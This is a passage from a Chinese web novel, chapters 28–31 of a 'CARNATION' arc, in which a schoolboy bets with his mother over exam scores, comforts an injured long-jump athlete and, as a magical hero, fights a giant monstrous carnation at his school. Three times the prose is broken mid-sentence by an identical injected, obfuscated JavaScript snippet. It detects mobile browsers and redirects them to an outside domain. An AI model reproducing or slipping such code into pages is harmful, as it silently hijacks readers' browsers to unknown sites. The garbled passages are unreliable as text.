“唉……”罗乐安叹了口气,神色深沉,“你不懂,一分钱难倒英雄好汉。” “你算哪门子英雄。” 听到他的话,胡女士没忍住翻了个大——白眼。 “嗨!不就是零花钱的事嘛,我也不是不想给你涨,但是我现在手头也被欠着尾款……不是,我是说涨零花钱这事儿,总还是要有个由头吧。” “啥、啥意思啊?” “意思就是……” 胡女士挑了挑眉,邪魅地勾起嘴角:“跟我打个赌吧~” 罗乐安愣了三秒,继而才张大嘴巴。 “又打赌?!” 28. CARNATION③ “又打赌?!” 看到自己的好大儿张大的嘴巴和瞪大的双眼,胡女士收起了邪魅的笑容,眼睛危险地眯了起来。 “嘶……你最好先给我解释解释,什么叫做‘又’啊?” 听到她的话,罗乐安惊觉不妙,连忙将脸上的表情微微收敛,开始打补丁。 “额……妈你听错了,我说的是UFO,对对对,UFO!” “罗乐安。” “啊?” “你妈我现在风华正茂,没有耳背。” “……万一你早更……” “你要死啊!” “我错了。” “……行,就当刚刚是我听错了吧——那我问你,UFO这仨字母,和我说的那句话,有什么关联吗?” 罗乐安想不出词儿了,开始望天。 “咳,胡女士你要是没什么事儿就先出去吧,我还要学习呢。” 说罢,他推着自己亲妈就开始赶人。 “罗!大!胖!” 这仨字儿一出,罗乐安立马老实了,手脚缩到一块,原地cos鹌鹑。 “到底怎么回事儿?你是不是背地里做了什么……” “诶诶诶!胡女士你可不要乱说,我超——级乖的好不啦!” “呵呵,你乖,我是没见过哪个乖孩子天天跳水坑翻栏杆的……别打岔,你真没赌博?” “拜托啊,你儿子现在有多穷,胡女士你真不知道吗?” 胡女士想到摆在自己卧室窗台上的那盆精致美丽的小花,再想到那个经温朗亲口确认过的四位数的价格,到底还是信了罗乐安的话。 “行吧行吧,没学坏就行。那你继续学习吧,我先出……” “所以,你到底要跟我赌什么啊,胡女士?” “哦对对对,差点忘了,诶嘿嘿~” 从暴怒模式跳转回娇俏模式的胡女士,在轻轻锤了下自己的脑壳后,终于将赌约要求和盘托出。 “我跟小朗打听了你开学前的自测成绩,这样,只要你这个月的月考能进步五十分,我就额外奖励你五百块钱,作为进步和孝心的鼓励,怎么样?” “什么怎么样……” 罗乐安努力绷住嘴角,不让其上扬,“你到底知不知道,想要在一个月里进步五十分到底有多困难啊!” “不知道啊,因为我一直是好学生来着,高中成绩从来没低于过六百分。” “……” “但是你好歹是我亲生的,怎么也不至于连五百分都考不到——所以,加油啊!你美丽大方的母亲大人可是非常期待把奖励交给你的那一刻哟~” 说罢,胡女士就拿过桌上的空碗,吹着口哨就出了房间,还贴心地将门关上。 而留在房间里的罗乐安,在确认母亲大人离开后,终于憋不住了,先是狠狠来了几个深呼吸,紧接着嘴角就不受控地咧到了耳朵根,张牙舞爪打了几套“空气拳”。 万岁! 他双手握拳置于胸前,无声地呐喊欢呼着。 大概是老天都不忍心看他潦倒的模样,所以直接给他送福利了。 两个赌,里外里他相当于赚了800块钱,这种好事,打死他都不能错过。 “丧丧~~~” 罗乐安用掩饰不住兴奋的气音呼唤精灵,而后者尽管觉得对方这个时候突然叫自己肯定没啥好事,可还是尽责地应了一声。 「我在。」 嗬! 这AI味儿,感觉比家里的天猫精灵还要地道。 “你你你……你先别在不在的,先转人工!” 「哦,啥事儿。」 “咳,就是,你有没有什么增强记忆力的魔法道具啊?比如‘记忆面包’,或者其他不用撑肚子的道具,最好是后者,这样我考试前的饮食就不用过分单调了~” 「道具有。」 “真哒?” 「但是你收集的能量不足,无法使用。」 “……” tui! 真是养兵千日,用兵废物。 算了,求人不如求己,才区区50分而已…… 他一边做卷子一边给文曲星磕头,总能感动上天的! 当然,这个策划从提出到落地,还是经历了一些变动。 由于经费不足,他买不起网上现成的文曲星画像,只好白嫖大触穗穗子,不过任穗同样学业繁忙,因此真正出图的时候,距离月考只剩下两天了。 “没关系,”他冲着贴在衣柜门上的文曲喵拜了拜,同时给自己打气,“还来得及~” 罗乐安之所以对“听天命”这么自信,关键还是因为他“尽人事”的部分完成度比较高。 这个结论不是他狂妄自大,而是在今天得到温朗亲口认证的,对方说按照他最近的几份试卷来看,只要不出“月考的难度突然变态”这种意外,想要取得520的分数应该不会有问题。 所以他对后天的月考,非常期待! 然而,每当人们在说“不出意外”这句话的时候,其实就是在召唤意外。 因此,尽管他求来了“天时”,拼来了“人和”,却没料到自己会栽倒在“地利”上。 湖灵高中分为东西两个校区,高一高二在东校区,高三和风雨操场则在西校区。 是的,大操场也在西校区,所以之前高一军训才会在西校区进行。 而除了军训,高中还有一项大型活动也会在这里举办,那就是运动会。 运动会只有一天,在27号,28和29两天则是高三月考,然后30号出成绩,1号放假——一切都刚刚好,相互都不打扰。 当然了,运动会本身就和高三生无缘,操场本身距离教学楼也足够远,除了一开始的运动员进场和偶尔传来的广播声,倒也不算影响西校区的日常课业。 只是空气中到处都弥漫着青春与热血的气息,难免会让一些本就意志不坚定的人心,变得浮动。 恰好,罗乐安就是这波人里的其中一员。 是的,虽然在这一个月里,他表现得上进又努力,可本质上,他还是那个专注力有限的小蓝孩~ 于是,在27号下午第一节原本是体育临时改了自习的课上,自认为万事俱备的罗乐安,以肚子疼的理由,遁了。 不过他并没有去操场看热闹,而是—— “大姐头~大姐头你在哪儿~~~” 刚出教学楼,他就掏出陪着自己一起翘课的猫……勺——唔,就是包装在勺子里的猫条——开始召唤神兽。 两个来月没见到,还是怪想的,特别是最近压力大,更想撸猫解解压了。 就是也不知道这只狸花猫最近在搞什么新的大事业,上课前跟放学后这两个时间总是碰不着它,所以他只能在上课时段来碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199288|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰运气。 但是,罗乐安一向无往不利运气这次也失利了,溜了半天也没瞧见大姐头,而且不只是它,连其他猫咪的影子也没瞧见,头顶的二毛也一直乖顺地垂着,一路都没什么反应。 不过倒也不是全无收获,猫咪没找着,找着小刺猬。 目测就是暑假前看到的那只,两只小耳朵比一般的小刺猬要大一些。 想到之前猫咪训刺猬的场面,他原本还沮丧的心情重新振奋了一小下,觉得顺着这只无名小刺猬,肯定就能找到大姐头。 思及此,他撕开猫勺,开始“嘬嘬嘬”。 “你是新来的吧?是不是还没有名字?嘬嘬嘬……那我给你起一个吧,叫‘小弟’怎么样?你那么听‘大姐头’的话,这个名字很贴切,对不对?嘬嘬嘬……” 嘬了半天,小刺猬毫无反应,既没有上来吃东西,也没有离开,就趴在那里,瞪着笑笑的眼睛,盯着罗乐安看。 看得后者有点不自在,总觉得在那双圆圆的黑色豆豆眼里,蕴含着许多难以解读的深意,这导致他某个瞬间好像有些晕眩,回过神后,他摇了摇头,没再多想。 “我记得刺猬是杂食动物啊,难道你在斋戒?最近吃素?” 他低着头嘀嘀咕咕,“还是说……你不是‘小弟’,是‘小妹’?” 小刺猬自然是无法回答他的疑惑的,只是恰好,他话音刚落,头顶的树上就掉下两粒红彤彤的小果子,咕噜噜滚到了人与刺猬正中间的位置。 是海棠果。 然后,这只小刺猬终于动了。 先是凑过去,现场啃了一颗果子,紧接着叼起剩下那颗果子的柄部,“嗖”一下钻进了灌木丛。 “诶——” 罗乐安见状,来不及多想,身体先一步追了上去。 幸好小刺猬虽然灵活,可毕竟腿短,还叼着果子,移动速度并不快,因此就算他失了先机,却还是没跟丢。 “嘶……你跑什么嘛~” 用手指轻轻擦了擦脸上被树枝划过的痕迹,罗乐安嘟起嘴,不是很开心。 毕竟,这还是他第一次遇到不买自己帐的小动物呢。 看着缩在墙边开始旁若无人啃果果的小刺猬,罗乐安用一直握在手里的猫勺戳了戳它的小屁股,嘴里面嘟嘟囔囔。 “只是吃果子而已,干嘛还要特地跑来这里……亏我以为你是要带我来找大姐头,真是的,还害我受伤……” 小刺猬不为所动,依旧埋头啃啃啃,罗乐安自说自话的训话没有得到丝毫的回应,他说着说着也就走了神。 “既然你不满意‘小弟’这个名字,又这么爱吃果子,那我干脆叫你‘果果’吧?这回你总不会还不满意吧?我……嗯?” 话还没说完,他就被墙后的声音吸引了注意力,抬头扫了眼周围,发现自己竟然晃悠到了学校医务室附近,自己听到的动静正是从医务室里传出来的。 “嘉嘉……” “你回去训练吧,别管我了……” “可是你现在……” “我说了你别管我!我就想一个人静一静……” 有八卦? 想到这里,罗乐安也顾不得和小刺猬置气了,矮着身子走到窗下,手扒着窗沿,悄悄探出了他毛茸茸的脑袋瓜。 原本以为是有人在吵架,却没想到他透过玻璃,看到的和自己想象的场面,完全不一样。 29. CARNATION④ 医务室里,没有医生,只有在距离窗户大约两米远的一张床上,一个女生靠着枕头坐在那里,正在掩面哭泣,压抑的呜咽哭声,破碎而窒闷。 这一幕让罗乐安多少吓了一跳,原本探出去的脑袋,“嗖”一下又缩了回来,整个人蹲在窗檐下,眼睛咕噜噜转着,像是有两只小仓鼠在疯狂蹬轮子,给他的小脑袋瓜发电,以此点燃智慧的灯泡。 刚刚的对话是两个女生,内容像吵架,可仔细一想又不太像,反正现在看来,似乎和“撕逼”这种事是扯不上边的。 还有一点,病床上的那个女生看着有一丢丢眼熟,自己应该是曾经在哪儿见过。 是在哪儿呢? 唔,这破脑子,关键时刻就忘事! 要不,还是再看一眼呢? 想到这里,顶着两根呆毛的脑袋又从窗台下方探了出来。 这个时候,房间里的女生已经没有再哭了,掩面的手放了下来,整个人呆呆地望着天花板出神。 罗乐安也就此看清楚了女生的长相。 对方有着一头蓬松的棕色齐耳短发,微卷的发梢微微向外翘起,显得格外俏皮。 只是此时女生的神情满是忧郁,不仅是活泼的卷发,还有那双原本水润的大眼睛,也都失了生气。 是周羽嘉。 想起女生身份后,两根呆毛又“嗖”一下消失在了窗沿之下,罗乐安也重新坐回到墙根底下,双手抱膝,跟一旁啃完果子摊开肚皮晒太阳的小刺猬,莫名相像。 不过他此刻没工夫计较他俩到底是谁cos谁,正认真在记忆里挖掘关于这个女生的信息。 自己跟周羽嘉并没有交集,会认出女生,完全是因为对方足够出名,他才会在报导里看到过。 这是一位天赋绝佳的跳远少女,14岁那年在全市的中学生运动会上崭露头角,以12.15米的成绩取得冠军,广受瞩目。 可就在所有人都期待着这位新星冉冉升起再夺佳绩的时候,意外发生了,训练的时候跟腱不小心断了。 虽然及时进行了手术,但有传言说好了之后连普通的奔跑都会受影响,更别说参加竞技比赛了。 而在这之后,网络上就不太有她的消息了。 一颗闪亮新星的职业生涯,就此夭折。 却没想到这人真的没有进体校,而是来湖灵高中念书,看来网上的说法所言不虚。 不过周羽嘉怎么会一个人在医务室哭得这么伤心呢? 难道是……校园霸凌?! 一想到这个可能,罗乐安内心的冲动如岩浆般翻涌,浑身上下每个细胞都充满了正义感。 于是——“噌”一下,大毛和二毛又窜到了窗沿之上。 不过还没等他翻窗而入主持正义,医务室的门就被人从外面打开了,走进来两个人。 一位穿着白大褂,应该是女校医,还有一位瞧着眼熟,像是语文组的老师,估计是周羽嘉的班主任。 两个人的出现,吓了罗乐安一跳,连忙又把身子缩了缩,只将眼睛以上的部分留在外面。 “周同学,右脚还疼吗?” “……好多了。” “老师已经通知你的家长了,等下他们会来接你回家好好休养。” “……知道了。” 脚疼? 窗外的脑袋快速运转,分析着这段对话里的有效信息。 所以周羽嘉会哭,是因为脚疼导致的吗? 可她这种情况,平时应该是很注意很小心的,怎么突然就旧伤复发了呢? 他心里正嘀咕着,窗内的人就帮他答疑解惑了。 “老师知道你喜欢跳远,但是你也不能谁都不告诉,就自己一个人偷偷摸摸去练习啊。” “是啊,要不是今天运动会,操场上人多,有人及时发现你摔倒,你现在的情况只会更糟。” 哦~ 原来是这人私底下偷偷练习,结果又二次伤害了。 好可怜哦…… 罗乐安不禁微微摇头,脸上露出了惋惜的表情。 没想到这个女生会这么热爱跳远,跟腱断裂的结果,想必对她的打击也是非常大的吧。 后面的情况他并不清楚,因为周羽嘉的父母来了,加上他出来的时间有点久,便没有再继续偷看,忙不迭地溜回教室。 原本他以为这只是一件和自己没什么关系的小插曲——毕竟自己和高一刚入学的学妹之间实在是没什么关联——然而没想到,就在第二天一早,他就又一次遇到了周羽嘉。 因为七点出门是常态,所以罗乐安很少机会见到早上六点半的湖灵高中校园。 而就在28号这天,他不仅见了,还逛了。 起因还是他太兴奋。 由于第一次在考试前出现“运筹帷幄”的状态,他早上五点多就醒了,尽管尝试睡回笼觉,可闭上眼就是自己拿着成绩单跟温朗及胡女士显摆的美好画面。 翻来覆去好几次,睡意也被折腾没了,便干脆起床,给自己冲了杯麦片煎了个蛋,解决完早餐,给温朗发了个微信,也没等他,就自己先骑车去了学校。 然后,刚进校门,车还没停好,他就瞧见了苦寻许久的狸花猫。 “大姐头~” 他着急忙慌地把车锁好,一边掏猫勺,一边招呼狸花猫开饭。 只是大姐头这次并没有像以前那样,听到他的声音就跑过来,反而在看了他一眼后,颠颠朝着反方向跑去。 这不得拔腿就追啊! 于是,脑子速度永远排第二的罗乐安,甚至还没来得及想清楚自己干嘛要跑,就已经跟着小猫咪跨越了大半个校园,最后在风雨操场边上的小树林里,一猫一人的跑酷活动终于停止。 “呼……呼……” 罗乐安一手撑树,喘了半天终于把气喘匀,蹲下身,用手指狠狠点了点专心吃猫勺的猫咪脑壳,只觉得这个早晨的展开真的是莫名其妙。 “你跑……你跑什么跑啊……一大早上的……躲了我这么多天……还以为你要跟我绝交呢……小没良心的吃这么香……” 一顿劈头盖脸的数落,并没有影响大姐头的食欲,这只骁勇善战的女战神此时“miamia”地吃得可欢,时不时还扭扭屁股,娇软的身姿丝毫看不出半点威严和杀气。 也正是有如此手段,才能把某个毛绒绒控钓成翘嘴,见它这样,哪里还顾得上生气,满眼只有爱意。 “算了,你就仗着我想你,可劲儿作吧,这么多天也不知道鬼混到哪里去了,害我好担心——诶?这是什么?” 罗乐安歪了下脑袋,捡起落在狸花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208916|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫身旁的东西。 “这是你刚刚叼过来的吗?” 那是一朵奶油粉的康乃馨,水灵灵的,含苞待放娇嫩极了,也不知道是这只猫前小霸王猫后小娇娇的狸花猫,从哪家花店骗来的。 只是还没等他问呢,就被不远处传来的动静给打断了。 他转过身,从树后探出了自己毛茸茸的脑袋瓜。 没想到还真是有缘。 又是周羽嘉。 依然是独自一人,静静坐在操场边,远远眺望着跑道对面的沙坑,面色苍白,身旁则是放着一根拐杖。 看样子倒也不像是完全不管自己右脚的死活,至少不会逞强原地起跳然后被送到医务室了。 可对于跳远的热爱与执念,她似乎并没有放下,不然也不会顶着大太阳,就这样坐在这里一动不动。 也不知道她爸妈知不知道自己闺女儿这个样子。 不过罗乐安也能理解,要是在这个时候,突然剥夺了他魔法少男的身份和能力,自己的反应也会只大不小。 但总归不会像周羽嘉这样,可怜到连心气儿都没了。 想到这里,他拿起那枝康乃馨从树后走了出来,站在女生面前,将花递给对方。 看着突然出现在眼前的花,周羽嘉愣了好几秒才有反应,但是并没有接过花,而是抬起头,直直看向送花的人。 罗乐安见她没有动作,眨了眨眼,后知后觉地“哎哟”了一声,急忙坐到女生身旁,解释道:“咳,学妹你好,我不是坏人。” 周羽嘉:“……” emmm…… 感觉自己更像个大反派了。 于是罗乐安使劲晃了晃自己的脑袋,急忙找补。 “我我我没别的意思!我真是你学长,你看我的学生卡——今天月考,我来得早,就在校园里随便逛逛,刚好碰到你。” 他说得很真诚,只是从样貌到做派,都不是特别符合一般大众对高三学生的印象。 然而周羽嘉并没有在意,听完这些话,她的反应也仅仅只是把视线从对方的脸上重新转回到花上。 “额,这个花、这个花……”罗乐安有点卡壳。 刚刚给人递花纯纯是下意识的举动,不过也可能跟这花的品种有关。 康乃馨,一款大众公认的代表疗愈和祝福之花。 此情此景,非常适合眼前的女生。 想到这个,他快速组织好了措辞。 “我是你的粉丝,希望你能打起精神,好好复健,说不定会出现奇迹呢!” “奇迹?” 周羽嘉终于开口,却只有两个字,不过倒是伸手把花接了过去。 然后就转过头去,痴痴看着远处的沙坑,没再理会罗乐安。 后者本身也不太会安慰人,干坐了大概一分钟后,他有些尴尬地抬手挠了挠后脑勺,然后手一撑,从地上站了起来。 “那什么,我先走了哈,周学妹,西校区等会儿要考试,你也早点回教室吧,需要我fu……咳,陪你先回去吗?” 地上的女生摇了摇头,没有说话。 罗乐安见状,轻轻叹了口气,没再继续劝,转身离开。 他本以为,这只是一次前不着村后不着店的偶遇,却不料,就在几小时后,俩人就又碰见了。 30. CARNATION⑤ 虽是月考,可时间安排方面和高考几乎是一致的,因此一上午只考语文一科,十一点半交卷之后,一直到下午两点,都可以算是自由的。 于是罗乐安先是美美地吃了午饭,再美美地找温朗查个漏补个缺,之后又美美地睡了个午觉。 结果在13:20被闹钟叫醒后,美不起来了。 困。 估计是早上醒太早,睡眠不足,上午还能因为兴奋而撑着,一觉之后,闭上的眼睛想要再睁开,就相当费劲了。 但是下午还要考数学。 这一科对他而言本就催眠,总不能考试的时候,一边算三角函数,一边用圆规刺股。 还是得搞杯咖啡喝喝,虽然学校里只有难喝得要死的速溶咖啡,但是便宜,而且提神效果没得说,绝对和味道成反比。 想到这儿,他跟和自己同一个考场的任穗打了声招呼,让她帮忙带下考试要用的东西,自己则是去商店买双倍的续命神器。 湖灵高中的商店挨着食堂,在操场的北面,距离教学楼稍有段距离,因此罗乐安是一路小跑过去的。 商店的人不算少,而且大多数人都是冲着咖啡去的,等到他好不容易抱着咖啡从人堆里挤出来时,头顶的两撮呆毛都被揉搓成了羽绒状态,不知道的还以为他是被雷劈过。 不过罗乐安并不在意,毕竟他抢到了最后两瓶咖啡,这点牺牲不算什么。 这个时候距离考试开始还有二十分钟,他的考场在一楼,时间相对充足,因此回去的时候悠闲多了,先把自己那罐咖啡打开喝了两口,这才从人少的楼前小路的往回走。 结果没走两步,就又看到了周羽嘉。 女生依旧坐在操场边上,老位置,就是姿势换了,双手抱膝,半张脸埋在膝盖上,只有一双眼睛,还在遥遥远望。 也不知道是去而复返,还是干脆逃课没有回去。 不过,罗乐安总感觉她看的地方,好像并不是沙坑,想到这儿,他这个腿永远比脑子快的人,下一秒就出现在了周羽嘉正后方的大树后面。 然后,再次探出他带着两根须须,呸,是两根呆毛的毛脑袋。 唔…… 这个角度的确是对着沙坑啊……诶,不对,看头的角度,视线是朝上的,那看的就是—— 罗乐安的脑袋也一路向上仰,很快,他就看到了一面迎风飘扬的,国旗。 那应该是隔壁体校的旗杆。 执念啊! 他心里默默叹息,同时还有一种无能为力的愧疚。 第一遍预备铃响起,罗乐安准备离开。 然而就在他转身的时候,一个声音直冲冲地闯进他的脑袋。 【我……好疼啊……】 声音里那种纠结尖锐的感觉,有些熟悉,让罗乐安心头一凛,直觉不对。 谵蘖! “丧丧?” 口袋里的游戏机挂坠并没有说话,但骤然升高的温度,已经让罗乐安心里有了答案。 只是,在哪儿呢? 这附近,从草本到木本,植物应有尽有,而提示则只有那一句似是而非的话,实在是很难分辨。 疼? 他四处打量着,实在是不知道到底是什么植物在喊疼,直到视线扫到了周羽嘉,他停住了。 让他起疑的不是女生,而是放在女生手边的那支康乃馨。 依旧粉嫩,依旧娇艳,依旧——水灵。 然而,在秋老虎肆虐的28摄氏度高温里,七个小时还能保持如初,是根本不可能的。 果不其然,下一刻,那枝康乃馨就发出了刺目的红光。 【好起来……好起来……】 诡异的声音再次出现,这一次罗乐安没有再迟疑,缩回脑袋,掏出挂坠。 变——身! …… 周羽嘉“眺望沙坑”的行为,算是她父母和班主任默许的。 她自己其实也不想这样。 她也清楚自己现在能做的,就是好好上学,考个大学,找个工作,和这世间绝大多数人的人生轨迹保持一致。 但她就是不甘心。 她怀念自己像鼓起的风帆在空中滑翔的虚幻感,也怀念沙粒溅上小腿摩擦掌心的那种真实感。 为什么,受伤的是她呢? 因为不甘心,所以她才会在运动会的时候,压抑不住欲望,趁人不备偷偷起跑。 因为不舍得,所以她才会忍着伤疼,也想待在操场上。 因为不勇敢,所以她才只能在这里,远远眺望曾经梦想进入学习和拼搏的地方。 周羽嘉脑袋里交织着纷乱的情绪和思绪,她扯不清线头,找不到头绪。 想不清楚要做什么,也不知道能做什么,一双失去神采的眼睛,虚焦在远处的天空。 午后的空气是凝固的,远处学生的喧哗和教学楼传来的铃声,好像都被隔在操场之外,就像是有个透明的罩子,将这里整个罩住。 而就在周羽嘉以为自己也将一起凝固在这里时,变故发生了。 早上收到的那枝康乃馨,突然发出不祥的红光,紧接着在她迟缓的脑细胞反应过来前,红光飞向了距离她大概十米远的空地上。 然后,一枝巨大的康乃馨,出现了。 说是康乃馨,可从近处已经看不出花的原貌了。 整个植株大概有十米高,花盘直径更是有两个足球球门那么大。 变化最大的部分,是花瓣——确切说,花盘上的东西完全不能称之为花瓣了,叫“刀片”更加贴切。 而当刀片花瓣完全展开,其下覆盖着的花心更是恐怖,宛如一张咧开的血口,其上的花蕊,则是像蛇一般,肆意猖獗地扭动着。 任谁看了,都会san值狂掉。 周羽嘉也不例外。 尽管她最近有抑郁倾向,对什么东西都反应极慢,可也没到视自己生命为无物的地步。 当在看到面前的怪物朝自己弯腰袭来的时候,她第一反应也是逃跑。 不过大概是坐太久了,她用手撑着地面想要站起来,试了几次均以失败告终,整个人只能手脚并用——3/4版——往后退。 可这速度到底还是太慢了。 眼看头顶的阴影离自己越来越近,她的身体却愈发僵硬,到最后只能本能地闭上眼睛,等待未知的恐怖降临。 然而就在下一秒,她感觉那种熟悉的、将风甩在身后的、令人怀念的的腾空感出现了。 她睁开眼睛,就见自己被一个看不清样貌的人抱在怀里,正在飞速移动,不过两三个呼吸,人便已经到了树林另一头的办公楼下。 “进楼里躲着,别出来。再怎么痛苦,活着才是最重要的。” 救她的人留下这句话,便飞快离开了。 罗乐安其实也想把人送到更远更安全的地方,只是那株谵蘖所在的地方,距离商店太近了。 十七八岁的高中生不比商场里的成年人,最缺的就是心眼,最不缺的则是不知死活的好奇心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246195|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以万一真有人傻乎乎地凑过去,后果一定不堪设想。 因此他只能尽快回去,在事情过度发酵前把问题给解决掉。 好在,这次的谵蘖,和他最初遇上的那个似乎差不太多,虽然大了些,但也就会吞个路灯什么的,应该好对付。 结果,罗乐安刚举着剑与盾冲到跟前,就被朝着自己“歘欻欻”飞来的刀片花瓣逼退到操场边缘。 “这、这是什么玩意啊?!怪、怪怪怪物——” 听到一旁有人喊出了自己的心声,他转头,然后就又碰上个熟人。 熊哲。 对方跌坐在地上,整个人抖个不停。 前头距离不到半米的地方,插着一排“花瓣”,带着锋芒的锯齿,在阳光下反射出寒光,透着阵阵森然。 显然,要不是自己的盾牌来得及时,这人现在已经变成豪猪了。 这傻大个儿! 都要考试了还过来凑什么热闹啊! 罗乐安没忍住翻了个白眼,却还是没忘履行自己魔法少男“拯救世界保护苍生”的职责,左手持盾挡住新一轮的“飞镖攻击”,右手则收起剑,拽着地上人的衣领,就近往食堂的方向蹿去。 “既然知道怕,就不要乱跑!” 相比于刚刚对周羽嘉,他对待熊哲的态度要简单粗暴很多,也不管对方作何反应,撂下话就离开了。 正事要紧。 这次的谵蘖,好像比他一开始预计的,要棘手那么一点,但他还是觉得问题不大。 毕竟那些花瓣飞镖只是对普通人有杀伤力,对于有盾牌的他而言,并不是什么大的威胁,而且这种最为基础的AOE,攻击力通常也是弱爆了,根本不值一提…… “嘶——” 躲开一个差点划到自己小腿的花瓣,罗乐安烦躁地直吸气。 事态的发展比他想的,还要更棘手那么一点。 这些飞镖虽然不厉害,可源源不断,没有CD,这就让他很难找到接近的空隙。 他缠斗了大概十分钟,也只砍到两次,对其造成的伤害可以说是几乎忽略不计。 见近战不行,他也尝试过远攻。 可是在射了两发火焰箭后,他发现那些花瓣不只是边缘锋利而已,似乎整体都和金属一样,完全不怕火。 喵的! 罗乐安忍不住在心里爆了句粗口,特别是在看到越来越多的人被动静吸引过来,他更加烦躁了。 而就在此时,雪上加霜的事情出现了。 左手的盾开始闪烁,大有一种随时可能撂挑子不干的架势。 他更慌了。 “丧丧!” 「盾牌磨损太多,需要休眠十分钟。」 丧丧的解释来得很及时,却没什么用。 “这玩意儿还有耐久度?这么重要的事情为什么一开始不说啊!!!” 罗乐安有些气急败坏,可也知道现在抱怨于事无补,还是要另想他法。 幸好,谵蘖的攻击范围有限,他只要退出攻击圈等待十分钟就行,还能顺便想一想新的对策……等等! “喂喂……这不对吧!” 他刚想要退到操场另一边休养生息,就看到那朵由康乃馨变异而成的谵蘖,有了新的动作。 花茎处那几片一直没什么作用的、柳叶一样的纤长叶片,突然向下一撑,然后整枝花就像是长臂猿一样,向前挪动了一大截。 什么鬼! 它它它,它会动!!! 31. CARNATION⑥ 罗乐安的内心呐喊其实并不是十分贴切,因为谵蘖本来就会动,但这株的“动”,和之前的几次都不一样。 更准确来说,是“移动”。 尽管动作迟缓,可架不住步子大,眼看没几步路就从操场走到了食堂门口,引得躲在那附近围观的师生们惊慌大叫,想逃又懵圈圈不知道往哪儿跑,结果就是乱七八糟挤作一团,直接让谵蘖的攻击目标扩大了一圈。 不过相比于小小只的人类,它显然有更容易瞄准的目标。 从惊诧中回神后,罗乐安一扭头就看到谵蘖扬起硕大的花盘,似乎是准备给距离最近的食堂一个头槌,一时顾不得考虑其他,急忙就冲了上去。 只是冲到跟前他才反应过来,自己的盾牌耐久告急,而且防护范围有限,不一定能抵挡得了这一击。 然而食堂不比路灯,损失更大不说,关键是里面躲了不少人,真要砸上去,肯定伤亡惨重。 或者,试试看改变一下谵蘖的攻击方向? 食堂正对着一片空地,砸上去顶多破坏地面,后果应该可控很多。 只是要怎么做呢? 纯拼力气硬碰硬能行吗? “丧丧!有没有能够增强力气的Buff啊?” 「……可以尝试将力量集中。」 集中? 集中…… 集中! 眼看花盘就要砸上食堂的屋顶,电光火石之际,罗乐安福至心灵,脚一蹬,瞬间跳到食堂楼顶,同时冲着谵蘖后方空地上的学生大喊道:“不想受伤就快点躲开!往教学楼跑——” 说罢,也不管空地上的人作何反应,他已经脚又一蹬,迎着谵蘖那硕大的花盘就跳了过去。 同时,他收起右手的剑,将两个手柄并到一起,召唤出了一闪一闪的盾牌。 虽然丧丧并没有明确说明如何集中力量,可罗乐安好歹是个“魔二代”,加上多年二次元的耳濡目染,对于如何操作,心里还是有个大概的猜测。 当然,说白了还是在赌,万一他失败了,那结局大概率就是湖灵高中整个沦陷。 只是当下,他也没得选择。 “主角光环,保佑我吧!” 他一边无意义地喊着口号,一边不忘调动右手柄里的魔法能量。 这东西很玄妙,他平时没啥感觉,实际上战斗的时候,咳,也没啥感觉。 但是当自己试图呼唤它的时候,他还是能第一时间感受到一股热流,从右手柄流入到心脏,接着又流进了左手柄。 “盾——” 说时迟那时快,就在他即将要掉进康乃馨布满触手的血盆大口中时,一张比之前要大出数十倍的盾牌在他身前“歘”一下张开,刚好抵住了花心处的“深渊”。 赶上了! 罗乐安一直提在心口的那股气终于泄了出来,不过他还没时间庆幸,只是急忙按下反弹键,然后用尽浑身的力气,举着盾牌往前一推。 轰—— 尘土飞扬。 他的心情却有种雨过天晴的清新感。 赌赢了。 不过,盾也没了。 好在经历了这一轮,散落在食堂和空地上的师生和职工终于意识到了这一切不是演习,不再有看热闹上热搜的心态,齐刷刷地往远处的教学楼跑去。 而教学楼里刚在答题卡上填写好姓名考号的学生们,也在这阵嘈杂喧哗后,按捺不住好奇心,特别是靠近窗户的那些坐在“看台区”的同学,更是远距离围观了整个打斗过程。 “老、老师!” “安静!考试已经开始了!” “唉呀!考什么试啊!老师你看外面有奥特曼大战食人花——是有剧组在咱们学校拍特摄片吗?但是不都是搭设那种微缩景观吗?而且地面都砸裂了,需要做到这么逼真吗?” 监考老师听完这一大通像是梦话一般的臆想,不耐烦地走到窗边,抬眼一看,原先还不耐烦的表情瞬间凝滞。 而就在这时,广播里传来了教导主任老韩头略带慌张的声音。 「紧急通知,紧急通知。考试暂停,考试暂停。请全体师生抓紧时间,到东校区小操场集合。重复一遍,紧急通知,考试暂停,考试暂停。请全体师生抓紧时间……」 